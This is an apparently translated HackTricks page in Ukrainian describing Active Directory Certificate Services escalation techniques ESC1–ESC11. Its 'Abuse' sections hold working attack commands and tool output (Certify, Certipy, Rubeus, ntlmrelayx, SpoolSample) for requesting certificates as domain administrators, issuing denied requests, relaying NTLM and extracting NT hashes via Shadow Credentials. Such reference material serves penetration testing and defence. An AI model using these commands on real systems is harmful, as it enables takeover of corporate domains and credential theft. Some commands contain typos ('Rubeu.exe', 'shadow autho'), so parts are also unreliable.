AD CS Domain Escalation

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Це резюме секцій технік ескалації постів:

• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

• https://github.com/ly4k/Certipy

Неправильно налаштовані шаблони сертифікатів - ESC1

Пояснення

Неправильно налаштовані шаблони сертифікатів - ESC1 Пояснено

• Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.

• Затвердження менеджера не потрібне.

• Не потрібні підписи уповноважених осіб.

• Безпекові дескриптори на шаблонах сертифікатів є надто ліберальними, що дозволяє користувачам з низькими привілеями отримувати права на реєстрацію.

• Шаблони сертифікатів налаштовані для визначення EKU, які полегшують аутентифікацію:

• Ідентифікатори розширеного використання ключів (EKU), такі як Аутентифікація клієнта (OID 1.3.6.1.5.5.7.3.2), Аутентифікація клієнта PKINIT (1.3.6.1.5.2.3.4), Вхід за допомогою смарт-картки (OID 1.3.6.1.4.1.311.20.2.2), Будь-яка мета (OID 2.5.29.37.0) або без EKU (SubCA) включені.

• Шаблон дозволяє запитувачам включати subjectAltName у Запит на підпис сертифіката (CSR):

• Active Directory (AD) надає пріоритет subjectAltName (SAN) у сертифікаті для перевірки особи, якщо він присутній. Це означає, що, вказуючи SAN у CSR, можна запитати сертифікат для видачі від імені будь-якого користувача (наприклад, адміністратора домену). Чи може запитувач вказати SAN, вказується в об'єкті AD шаблону сертифіката через властивість mspki-certificate-name-flag. Ця властивість є бітовою маскою, і наявність прапора CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT дозволяє запитувачу вказувати SAN.

Ця конфігурація дозволяє користувачам з низькими привілеями запитувати сертифікати з будь-яким вибраним SAN, що дозволяє аутентифікацію як будь-якого доменного принципала через Kerberos або SChannel.

Ця функція іноді активується для підтримки генерації HTTPS або хост-сертифікатів на льоту продуктами або службами розгортання, або через брак розуміння.

Зазначено, що створення сертифіката з цією опцією викликає попередження, чого не відбувається, коли існуючий шаблон сертифіката (такий як шаблон WebServer, у якого активовано CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) дублюється, а потім модифікується для включення OID аутентифікації.

Зловживання

Щоб знайти вразливі шаблони сертифікатів, ви можете виконати:

Certify.exe find /vulnerable
certipy find -username [e-mail] -password Passw0rd -dc-ip 172.16.126.128

Щоб зловживати цією вразливістю для видавання себе за адміністратора, можна виконати:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username [e-mail] -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn '[e-mail]'

Тоді ви можете перетворити згенерований сертифікат у формат .pfx і використовувати його для автентифікації за допомогою Rubeus або certipy знову:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Віконні двійкові файли "Certreq.exe" та "Certutil.exe" можуть бути використані для генерації PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

Перерахунок шаблонів сертифікатів у конфігураційній схемі лісу AD, зокрема тих, які не потребують затвердження або підписів, що мають EKU для клієнтської аутентифікації або Smart Card Logon, та з увімкненим прапором CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, можна виконати, запустивши наступний LDAP запит:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Неправильно налаштовані шаблони сертифікатів - ESC2

Пояснення

Другий сценарій зловживання є варіацією першого:

1. Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.

2. Вимога на затвердження менеджера вимкнена.

3. Необхідність авторизованих підписів пропущена.

4. Надмірно дозволяючий дескриптор безпеки на шаблоні сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями.

5. Шаблон сертифіката визначено так, щоб включати Any Purpose EKU або не мати EKU.

Any Purpose EKU дозволяє зловмиснику отримати сертифікат для будь-якої мети, включаючи автентифікацію клієнта, автентифікацію сервера, підписування коду тощо. Та ж техніка, що використовується для ESC3, може бути застосована для експлуатації цього сценарію.

Сертифікати з без EKU, які діють як сертифікати підпорядкованого CA, можуть бути використані для будь-якої мети і також можуть бути використані для підписування нових сертифікатів. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи сертифікат підпорядкованого CA.

Однак нові сертифікати, створені для автентифікації домену, не працюватимуть, якщо підпорядкований CA не довіряється об'єкту NTAuthCertificates, що є налаштуванням за замовчуванням. Проте зловмисник все ще може створювати нові сертифікати з будь-яким EKU та довільними значеннями сертифікатів. Ці сертифікати можуть бути потенційно зловживані для широкого спектру цілей (наприклад, підписування коду, автентифікація сервера тощо) і можуть мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec.

Щоб перерахувати шаблони, які відповідають цьому сценарію в конфігураційній схемі лісу AD, можна виконати наступний LDAP запит:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Неправильно налаштовані шаблони агентів реєстрації - ESC3

Пояснення

Цей сценарій схожий на перший і другий, але зловживає іншим EKU (Агент запиту сертифіката) та 2 різними шаблонами (отже, має 2 набори вимог),

EKU агента запиту сертифіката (OID 1.3.6.1.4.1.311.20.2.1), відомий як Агент реєстрації в документації Microsoft, дозволяє суб'єкту реєструватися на сертифікат від імені іншого користувача.

“Агент реєстрації” реєструється в такому шаблоні і використовує отриманий сертифікат для спільного підписання CSR від імені іншого користувача. Потім він надсилає спільно підписаний CSR до CA, реєструючись у шаблоні, який дозволяє “реєстрацію від імені”, і CA відповідає сертифікатом, що належить “іншому” користувачу.

Вимоги 1:

• Права на реєстрацію надаються користувачам з низькими привілеями через Enterprise CA.

• Вимога на затвердження менеджера пропускається.

• Немає вимоги на авторизовані підписи.

• Безпековий дескриптор шаблону сертифіката є надмірно дозволяючим, надаючи права на реєстрацію користувачам з низькими привілеями.

• Шаблон сертифіката включає EKU агента запиту сертифіката, що дозволяє запитувати інші шаблони сертифікатів від імені інших суб'єктів.

Вимоги 2:

• Enterprise CA надає права на реєстрацію користувачам з низькими привілеями.

• Затвердження менеджера обходиться.

• Версія схеми шаблону є або 1, або перевищує 2, і вона вказує на вимогу політики застосування, яка вимагає EKU агента запиту сертифіката.

• EKU, визначений у шаблоні сертифіката, дозволяє автентифікацію домену.

• Обмеження для агентів реєстрації не застосовуються на CA.

Зловживання

Ви можете використовувати Certify або Certipy для зловживання цим сценарієм:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username [e-mail] -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username [e-mail] -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Користувачі, яким дозволено отримувати сертифікат агента реєстрації, шаблони, в яких агентам реєстрації дозволено реєструватися, та рахунки, від імені яких агент реєстрації може діяти, можуть бути обмежені корпоративними ЦС. Це досягається шляхом відкриття certsrc.msc додатку, клацання правою кнопкою миші на ЦС, вибору Властивості, а потім переміщення на вкладку “Агенти реєстрації”.

Однак зазначено, що за замовчуванням налаштування для ЦС полягає в тому, щоб “Не обмежувати агентів реєстрації.” Коли обмеження для агентів реєстрації активується адміністраторами, встановлення його на “Обмежити агентів реєстрації” залишає конфігурацію за замовчуванням надзвичайно ліберальною. Це дозволяє Усім отримати доступ до реєстрації в усіх шаблонах як будь-хто.

Вразливий контроль доступу до шаблону сертифіката - ESC4

Пояснення

Безпековий дескриптор на шаблонах сертифікатів визначає дозволи, які конкретні принципали AD мають щодо шаблону.

Якщо зловмисник має необхідні дозволи для зміни шаблону та встановлення будь-яких експлуатованих неконфігурацій, описаних у попередніх розділах, може бути полегшено підвищення привілеїв.

Значні дозволи, що застосовуються до шаблонів сертифікатів, включають:

• Власник: Надає неявний контроль над об'єктом, дозволяючи змінювати будь-які атрибути.

• Повний контроль: Дозволяє повну владу над об'єктом, включаючи можливість змінювати будь-які атрибути.

• Змінити власника: Дозволяє змінювати власника об'єкта на принципала під контролем зловмисника.

• Змінити DACL: Дозволяє коригувати контроль доступу, потенційно надаючи зловмиснику Повний контроль.

• Змінити властивість: Дозволяє редагувати будь-які властивості об'єкта.

Зловживання

Приклад підвищення привілеїв, як у попередньому:

ESC4 - це коли користувач має права на запис над шаблоном сертифіката. Це, наприклад, може бути зловжито для переписування конфігурації шаблона сертифіката, щоб зробити шаблон вразливим до ESC1.

Як ми бачимо на наведеному вище шляху, лише JOHNPC має ці привілеї, але наш користувач JOHN має новий AddKeyCredentialLink до JOHNPC. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як Shadow Credentials. Ось невеликий попередній перегляд команди shadow auto Certipy для отримання NT хешу жертви.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy може перезаписати конфігурацію шаблону сертифіката одним командою. За замовчуванням, Certipy перезаписує конфігурацію, щоб зробити її вразливою до ESC1. Ми також можемо вказати -save-old параметр для збереження старої конфігурації, що буде корисно для відновлення конфігурації після нашої атаки.

# Make template vuln to ESC1
certipy template -username [e-mail] -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username [e-mail] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn [e-mail]

# Restore config
certipy template -username [e-mail] -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Вразливий контроль доступу до об'єктів PKI - ESC5

Пояснення

Широка мережа взаємопов'язаних відносин на основі ACL, яка включає кілька об'єктів, крім шаблонів сертифікатів і центру сертифікації, може вплинути на безпеку всієї системи AD CS. Ці об'єкти, які можуть суттєво вплинути на безпеку, охоплюють:

• Об'єкт комп'ютера AD сервера CA, який може бути скомпрометований через механізми, такі як S4U2Self або S4U2Proxy.

• RPC/DCOM сервер сервера CA.

• Будь-який нащадок об'єкта AD або контейнера в межах конкретного шляху контейнера CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. Цей шлях включає, але не обмежується, контейнерами та об'єктами, такими як контейнер шаблонів сертифікатів, контейнер центрів сертифікації, об'єкт NTAuthCertificates та контейнер послуг реєстрації.

Безпека системи PKI може бути скомпрометована, якщо зловмисник з низькими привілеями зможе отримати контроль над будь-яким з цих критичних компонентів.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Пояснення

Тема, обговорена в пості CQure Academy, також торкається наслідків прапора EDITF_ATTRIBUTESUBJECTALTNAME2, як зазначено Microsoft. Ця конфігурація, коли вона активована на Центрі сертифікації (CA), дозволяє включати значення, визначені користувачем, у додаткову назву суб'єкта для будь-якого запиту, включаючи ті, що створені з Active Directory®. Внаслідок цього, ця можливість дозволяє зловмиснику зареєструватися через будь-який шаблон, налаштований для автентифікації домену — зокрема, ті, що відкриті для реєстрації непривілейованими користувачами, як стандартний шаблон користувача. В результаті, сертифікат може бути отриманий, що дозволяє зловмиснику автентифікуватися як доменний адміністратор або будь-яка інша активна сутність в межах домену.

Примітка: Підхід до додавання додаткових імен у Запит на підпис сертифіката (CSR) через аргумент -attrib "SAN:" у certreq.exe (який називається “Пари значення імен”) представляє контраст з експлуатаційною стратегією SAN у ESC1. Тут відмінність полягає в тому, як інформація про обліковий запис інкапсульована — в атрибуті сертифіката, а не в розширенні.

Зловживання

Щоб перевірити, чи активовано налаштування, організації можуть використовувати наступну команду з certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Ця операція в основному використовує доступ до віддаленого реєстру, отже, альтернативний підхід може бути:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Інструменти, такі як Certify та Certipy, здатні виявляти цю неправильну конфігурацію та експлуатувати її:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username [e-mail] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn [e-mail]

Щоб змінити ці налаштування, припускаючи, що у вас є права адміністратора домену або еквівалентні, можна виконати наступну команду з будь-якої робочої станції:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Щоб вимкнути цю конфігурацію у вашому середовищі, прапорець можна видалити за допомогою:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Після оновлень безпеки травня 2022 року, нові видані сертифікати міститимуть розширення безпеки, яке включає властивість objectSid запитувача. Для ESC1 цей SID отримується з вказаного SAN. Однак для ESC6 SID відображає objectSid запитувача, а не SAN. Щоб експлуатувати ESC6, важливо, щоб система була вразливою до ESC10 (Слабкі відображення сертифікатів), яке надає пріоритет SAN над новим розширенням безпеки.

Вразливий контроль доступу до центру сертифікації - ESC7

Атака 1

Пояснення

Контроль доступу для центру сертифікації підтримується через набір дозволів, які регулюють дії CA. Ці дозволи можна переглянути, отримавши доступ до certsrv.msc, клацнувши правою кнопкою миші на CA, вибравши властивості, а потім перейшовши на вкладку Безпека. Крім того, дозволи можна перерахувати за допомогою модуля PSPKI з командами, такими як:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

Це надає уявлення про основні права, а саме ManageCA та ManageCertificates, що відповідають ролям "адміністратор CA" та "менеджер сертифікатів" відповідно.

Зловживання

Наявність прав ManageCA на центрах сертифікації дозволяє суб'єкту маніпулювати налаштуваннями віддалено, використовуючи PSPKI. Це включає в себе перемикання прапорця EDITF_ATTRIBUTESUBJECTALTNAME2 для дозволу специфікації SAN у будь-якому шаблоні, що є критичним аспектом ескалації домену.

Спрощення цього процесу можливе за допомогою використання cmdlet Enable-PolicyModuleFlag PSPKI, що дозволяє вносити зміни без прямої взаємодії з GUI.

Володіння правами ManageCertificates полегшує затвердження очікуючих запитів, ефективно обходячи захист "затвердження менеджера сертифікатів CA".

Комбінація модулів Certify та PSPKI може бути використана для запиту, затвердження та завантаження сертифіката:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attack 2

Explanation

У попередньому нападі Manage CA дозволи використовувалися для включення прапора EDITF_ATTRIBUTESUBJECTALTNAME2 для виконання ESC6 атаки, але це не матиме жодного ефекту, поки служба CA (CertSvc) не буде перезапущена. Коли у користувача є право доступу Manage CA, користувач також має право перезапустити службу. Однак це не означає, що користувач може перезапустити службу віддалено. Крім того, ESC6 може не працювати з коробки в більшості патчованих середовищ через оновлення безпеки травня 2022 року.

Тому тут представлено ще один напад.

Перелік вимог:

• Тільки ManageCA дозвіл

• Manage Certificates дозвіл (може бути наданий з ManageCA)

• Шаблон сертифіката SubCA повинен бути включений (може бути включений з ManageCA)

Техніка базується на тому, що користувачі з правами доступу Manage CA та Manage Certificates можуть видавати невдалі запити на сертифікати. Шаблон сертифіката SubCA є вразливим до ESC1, але тільки адміністратори можуть зареєструватися в шаблоні. Таким чином, користувач може запросити реєстрацію в SubCA - що буде відхилено - але потім видано менеджером пізніше.

Abuse

Ви можете наділити себе правом доступу Manage Certificates, додавши свого користувача як нового офіцера.

certipy ca -ca 'corp-DC-CA' -add-officer john -username [e-mail] -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

Шаблон SubCA може бути увімкнений на CA за допомогою параметра -enable-template. За замовчуванням шаблон SubCA увімкнений.

# List templates
certipy ca -username [e-mail] -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username [e-mail] -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Якщо ми виконали попередні умови для цієї атаки, ми можемо почати з запиту сертифіката на основі шаблону SubCA.

Цей запит буде відхилено, але ми збережемо приватний ключ і запишемо ідентифікатор запиту.

certipy req -username [e-mail] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn [e-mail]
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

З нашими Manage CA та Manage Certificates ми можемо випустити невдалий запит на сертифікат за допомогою команди ca та параметра -issue-request <request ID>.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username [e-mail] -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

І нарешті, ми можемо отримати виданий сертифікат за допомогою команди req та параметра -retrieve <request ID>.

certipy req -username [e-mail] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN '[e-mail]'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

Пояснення

У середовищах, де встановлено AD CS, якщо існує вразливий веб-інтерфейс для реєстрації і принаймні один шаблон сертифіката опубліковано, що дозволяє реєстрацію комп'ютерів домену та автентифікацію клієнтів (такий як за замовчуванням Machine шаблон), стає можливим, щоб будь-який комп'ютер з активною службою спулера був скомпрометований зловмисником!

Кілька методів реєстрації на основі HTTP підтримуються AD CS, які доступні через додаткові ролі сервера, які можуть встановити адміністратори. Ці інтерфейси для реєстрації сертифікатів на основі HTTP вразливі до атак NTLM relay. Зловмисник з скомпрометованої машини може видавати себе за будь-який обліковий запис AD, який автентифікується через вхідний NTLM. В той час як зловмисник видає себе за обліковий запис жертви, ці веб-інтерфейси можуть бути доступні зловмиснику для запиту сертифіката автентифікації клієнта, використовуючи шаблони сертифікатів User або Machine.

• Веб-інтерфейс реєстрації (старий ASP-додаток, доступний за адресою http://<caserver>/certsrv/), за замовчуванням працює тільки через HTTP, що не забезпечує захисту від атак NTLM relay. Крім того, він явно дозволяє тільки NTLM-автентифікацію через свій заголовок Authorization HTTP, що робить більш безпечні методи автентифікації, такі як Kerberos, непридатними.

• Служба реєстрації сертифікатів (CES), Політика реєстрації сертифікатів (CEP) веб-сервісу та Служба реєстрації мережевих пристроїв (NDES) за замовчуванням підтримують автентифікацію negotiate через свій заголовок Authorization HTTP. Автентифікація negotiate підтримує як Kerberos, так і NTLM, що дозволяє зловмиснику знизити рівень до NTLM автентифікації під час атак relay. Хоча ці веб-сервіси за замовчуванням активують HTTPS, HTTPS сам по собі не захищає від атак NTLM relay. Захист від атак NTLM relay для HTTPS-сервісів можливий лише тоді, коли HTTPS поєднується з прив'язкою каналу. На жаль, AD CS не активує Розширений захист для автентифікації на IIS, що є необхідним для прив'язки каналу.

Звичайною проблемою атак NTLM relay є коротка тривалість сесій NTLM та неможливість зловмисника взаємодіяти з сервісами, які вимагають підписування NTLM.

Проте, це обмеження долається шляхом використання атаки NTLM relay для отримання сертифіката для користувача, оскільки термін дії сертифіката визначає тривалість сесії, а сертифікат може бути використаний з сервісами, які вимагають підписування NTLM. Для інструкцій щодо використання вкраденого сертифіката, зверніться до:

Ще одним обмеженням атак NTLM relay є те, що машина, контрольована зловмисником, повинна бути автентифікована обліковим записом жертви. Зловмисник може або чекати, або намагатися примусити цю автентифікацію:

Зловживання

Certify’s cas перераховує включені HTTP AD CS кінцеві точки:

Certify.exe cas

Властивість msPKI-Enrollment-Servers використовується корпоративними центрами сертифікації (CAs) для зберігання кінцевих точок служби реєстрації сертифікатів (CES). Ці кінцеві точки можна розібрати та перерахувати, використовуючи інструмент Certutil.exe:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Зловживання з Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Зловживання з Certipy

Запит на сертифікат за замовчуванням здійснюється Certipy на основі шаблону Machine або User, залежно від того, чи закінчується ім'я облікового запису, що передається, на $. Вказати альтернативний шаблон можна за допомогою параметра -template.

Техніку, таку як PetitPotam, можна використовувати для примусу аутентифікації. При роботі з контролерами домену необхідно вказати -template DomainController.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN '[e-mail]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

Пояснення

Новий значення CT_FLAG_NO_SECURITY_EXTENSION (0x80000) для msPKI-Enrollment-Flag, відомий як ESC9, запобігає вбудовуванню нового szOID_NTDS_CA_SECURITY_EXT безпекового розширення в сертифікат. Цей прапорець стає актуальним, коли StrongCertificateBindingEnforcement встановлено на 1 (значення за замовчуванням), що контрастує з налаштуванням 2. Його значущість зростає в сценаріях, де може бути використано слабше відображення сертифікатів для Kerberos або Schannel (як у ESC10), оскільки відсутність ESC9 не змінює вимоги.

Умови, за яких налаштування цього прапорця стає значущим, включають:

• StrongCertificateBindingEnforcement не налаштовано на 2 (за замовчуванням 1), або CertificateMappingMethods включає прапорець UPN.

• Сертифікат позначений прапорцем CT_FLAG_NO_SECURITY_EXTENSION у налаштуванні msPKI-Enrollment-Flag.

• Будь-який EKU аутентифікації клієнта вказується сертифікатом.

• Доступні дозволи GenericWrite над будь-яким обліковим записом для компрометації іншого.

Сценарій зловживання

Припустимо, що [e-mail] має дозволи GenericWrite над [e-mail], з метою компрометації [e-mail]. Шаблон сертифіката ESC9, в який [e-mail] дозволено реєструватися, налаштований з прапорцем CT_FLAG_NO_SECURITY_EXTENSION у своєму налаштуванні msPKI-Enrollment-Flag.

Спочатку хеш Jane отримується за допомогою Shadow Credentials, завдяки GenericWrite Джона:

certipy shadow auto -username [e-mail] -password Passw0rd! -account Jane

Потім userPrincipalName Jane змінюється на Administrator, навмисно пропускаючи частину домену @corp.local:

certipy account update -username [e-mail] -password Passw0rd! -user Jane -upn Administrator

Ця модифікація не порушує обмеження, оскільки [e-mail] залишається відмінним як userPrincipalName Administrator.

Після цього запитується шаблон сертифіката ESC9, позначений як вразливий, від імені Jane:

certipy req -username [e-mail] -hashes <hash> -ca corp-DC-CA -template ESC9

Зазначено, що userPrincipalName сертифіката відображає Administrator, без будь-якого “object SID”.

userPrincipalName Jane потім повертається до її оригінального, [e-mail]:

certipy account update -username [e-mail] -password Passw0rd! -user Jane -upn [e-mail]

Спроба аутентифікації з виданим сертифікатом тепер дає NT хеш [e-mail]. Команда повинна включати -domain <domain> через відсутність специфікації домену в сертифікаті:

certipy auth -pfx adminitrator.pfx -domain corp.local

Weak Certificate Mappings - ESC10

Explanation

Два значення ключа реєстру на контролері домену відносяться до ESC10:

• Значення за замовчуванням для CertificateMappingMethods під HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel дорівнює 0x18 (0x8 | 0x10), раніше було встановлено на 0x1F.

• Налаштування за замовчуванням для StrongCertificateBindingEnforcement під HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc дорівнює 1, раніше 0.

Case 1

Коли StrongCertificateBindingEnforcement налаштовано як 0.

Case 2

Якщо CertificateMappingMethods включає біт UPN (0x4).

Abuse Case 1

При налаштуванні StrongCertificateBindingEnforcement як 0, обліковий запис A з правами GenericWrite може бути використаний для компрометації будь-якого облікового запису B.

Наприклад, маючи права GenericWrite на [e-mail], зловмисник намагається скомпрометувати [e-mail]. Процедура повторює ESC9, дозволяючи використовувати будь-який шаблон сертифіката.

Спочатку хеш Jane отримується за допомогою Shadow Credentials, експлуатуючи GenericWrite.

certipy shadow autho -username [e-mail] -p Passw0rd! -a Jane

В результаті, Jane's userPrincipalName змінюється на Administrator, навмисно пропускаючи частину @corp.local, щоб уникнути порушення обмеження.

certipy account update -username [e-mail] -password Passw0rd! -user Jane -upn Administrator

Наступним кроком запитується сертифікат, що дозволяє автентифікацію клієнта, від імені Jane, з використанням шаблону за замовчуванням User.

certipy req -ca 'corp-DC-CA' -username [e-mail] -hashes <hash>

Jane's userPrincipalName потім повертається до свого оригінального, [e-mail].

certipy account update -username [e-mail] -password Passw0rd! -user Jane -upn [e-mail]

Аутентифікація з отриманим сертифікатом дасть NT хеш [e-mail], що вимагає вказівки домену в команді через відсутність деталей домену в сертифікаті.

certipy auth -pfx administrator.pfx -domain corp.local

Зловживання випадком 2

З CertificateMappingMethods, що містить бітовий прапорець UPN (0x4), обліковий запис A з правами GenericWrite може скомпрометувати будь-який обліковий запис B, який не має властивості userPrincipalName, включаючи облікові записи машин і вбудованого доменного адміністратора Administrator.

Тут мета полягає в компрометації DC$@corp.local, починаючи з отримання хешу Jane через Shadow Credentials, використовуючи GenericWrite.

certipy shadow auto -username [e-mail] -p Passw0rd! -account Jane

Jane's userPrincipalName тепер встановлено на DC$@corp.local.

certipy account update -username [e-mail] -password Passw0rd! -user Jane -upn 'DC$@corp.local'

Сертифікат для автентифікації клієнта запитується як Jane, використовуючи шаблон за замовчуванням User.

certipy req -ca 'corp-DC-CA' -username [e-mail] -hashes <hash>

Jane's userPrincipalName повертається до свого оригіналу після цього процесу.

certipy account update -username [e-mail] -password Passw0rd! -user Jane -upn '[e-mail]'

Щоб аутентифікуватися через Schannel, використовується опція Certipy -ldap-shell, що вказує на успішну аутентифікацію як u:CORP\DC$.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Через LDAP shell команди, такі як set_rbcd, дозволяють атаки на основі ресурсів з обмеженою делегацією (RBCD), що потенційно може скомпрометувати контролер домену.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Ця вразливість також поширюється на будь-який обліковий запис користувача, який не має userPrincipalName або де він не збігається з sAMAccountName, при цьому за замовчуванням [e-mail] є основною мішенню через свої підвищені привілеї LDAP та відсутність userPrincipalName за замовчуванням.

Relaying NTLM to ICPR - ESC11

Пояснення

Якщо сервер CA не налаштований з IF_ENFORCEENCRYPTICERTREQUEST, це може призвести до атак NTLM relay без підпису через службу RPC. Посилання тут.

Ви можете використовувати certipy, щоб перевірити, чи вимкнено Enforce Encryption for Requests, і certipy покаже вразливості ESC11.

$ certipy find -u [e-mail] -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Сценарій зловживання

Потрібно налаштувати сервер ретрансляції:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
